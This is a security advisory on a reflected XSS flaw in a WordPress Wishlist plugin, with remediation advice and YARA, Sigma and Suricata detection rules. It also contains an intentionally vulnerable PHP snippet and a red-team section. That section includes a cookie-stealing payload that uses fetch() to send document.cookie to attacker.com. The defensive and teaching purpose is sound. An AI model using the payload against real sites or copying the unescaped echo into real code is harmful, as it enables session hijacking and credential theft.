CVE-2025-31061

Executive Summary

CVE-2025-31061 is a Reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Wishlist by redqteam, affecting versions up to and including 2.1.0. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim's browser session. The CVSS score is 7.1 (High), and no public proof-of-concept or patch is currently available. The plugin is part of the WordPress ecosystem, and exploitation requires user interaction (e.g., clicking a crafted link).

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin's page for updates and apply patches as soon as they become available. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited modification possible.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: High (7.1) – Exploitation is straightforward and can lead to significant impact on the victim's session.

Deep Dive & Mechanics

The vulnerability exists in the Wishlist plugin's handling of user input via HTTP GET or POST parameters. When a user visits a specially crafted URL, the plugin reflects the malicious input without proper sanitization or encoding, allowing arbitrary JavaScript execution. The attack vector is reflected XSS, meaning the payload is immediately executed in the victim's browser upon visiting the crafted link.

Root Cause: The plugin fails to escape or validate input before embedding it in the HTML response. This is a classic CWE-79 vulnerability.

Attack Flow:

1. Attacker crafts a malicious URL containing JavaScript payload in a vulnerable parameter (e.g., ?wishlist_id=<script>alert(1)</script>).
2. Victim clicks the link (e.g., via phishing email or social engineering).
3. The plugin processes the request and reflects the payload in the response without sanitization.
4. Victim's browser executes the injected script, allowing the attacker to steal cookies, redirect to malicious sites, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described generically.

Vulnerable Code (PHP):

<?php
// Vulnerable: Directly echoing user input without sanitization
$wishlist_id = $_GET['wishlist_id'];
echo "<div>Wishlist ID: " . $wishlist_id . "</div>";
?>

Patched Code (Hypothetical):

<?php
// Patched: Using esc_html() to escape output
$wishlist_id = sanitize_text_field($_GET['wishlist_id']);
echo "<div>Wishlist ID: " . esc_html($wishlist_id) . "</div>";
?>

The patched version uses WordPress's built-in esc_html() function to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with Wishlist plugin version <= 2.1.0.
• A web browser to test the payload.

Exploitation Steps:

1. Identify a vulnerable parameter (e.g., wishlist_id, page, or action).
2. Craft a payload: ?wishlist_id=<script>alert(document.cookie)</script>.
3. Send the link to the victim (e.g., via email or social media).
4. Upon clicking, the script executes and displays the victim's cookies.

Example Payload:

http://target-site.com/?wishlist_id=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defensive)

Detection Steps:

• Monitor web server logs for unusual query parameters containing <script> or onerror patterns.
• Use a Web Application Firewall (WAF) to block reflected XSS attempts.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Lab Setup:

• Use a local WordPress installation with the vulnerable plugin.
• Simulate an attack using the above payload and observe the reflected output in browser developer tools.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing <script> tags in query parameters.
  • Suspicious referrer headers from phishing campaigns.
• Host IOCs:
  • Unexpected JavaScript execution in browser console.
  • Unauthorized cookie theft or session hijacking.
• File IOCs:
  • Modified plugin files (if attacker uploads malicious code).
  • Presence of obfuscated JavaScript in plugin output.

Detection Engineering

YARA Rule

rule CVE_2025_31061_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Wishlist plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-31061"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $wishlist_param = /[?&]wishlist_id\s*=/i
    condition:
        $wishlist_param and $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt Against Wishlist Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in Wishlist plugin parameters
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 'wishlist_id='
        c-uri|re: '<script[^>]*>.*?<\/script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in non-malicious contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-31061 Reflected XSS in Wishlist Plugin"; flow:to_server,established; content:"wishlist_id="; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a WAF rule to block requests containing <script> in query parameters.
3. Add CSP headers to restrict script execution (e.g., Content-Security-Policy: script-src 'self').

Long-Term Fix:

• Apply the official patch from the plugin vendor once available.
• Conduct a code review to ensure all user inputs are sanitized using esc_html(), esc_attr(), or wp_kses().

Workaround:

• Use a security plugin like Wordfence to add virtual patching for known XSS vectors.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert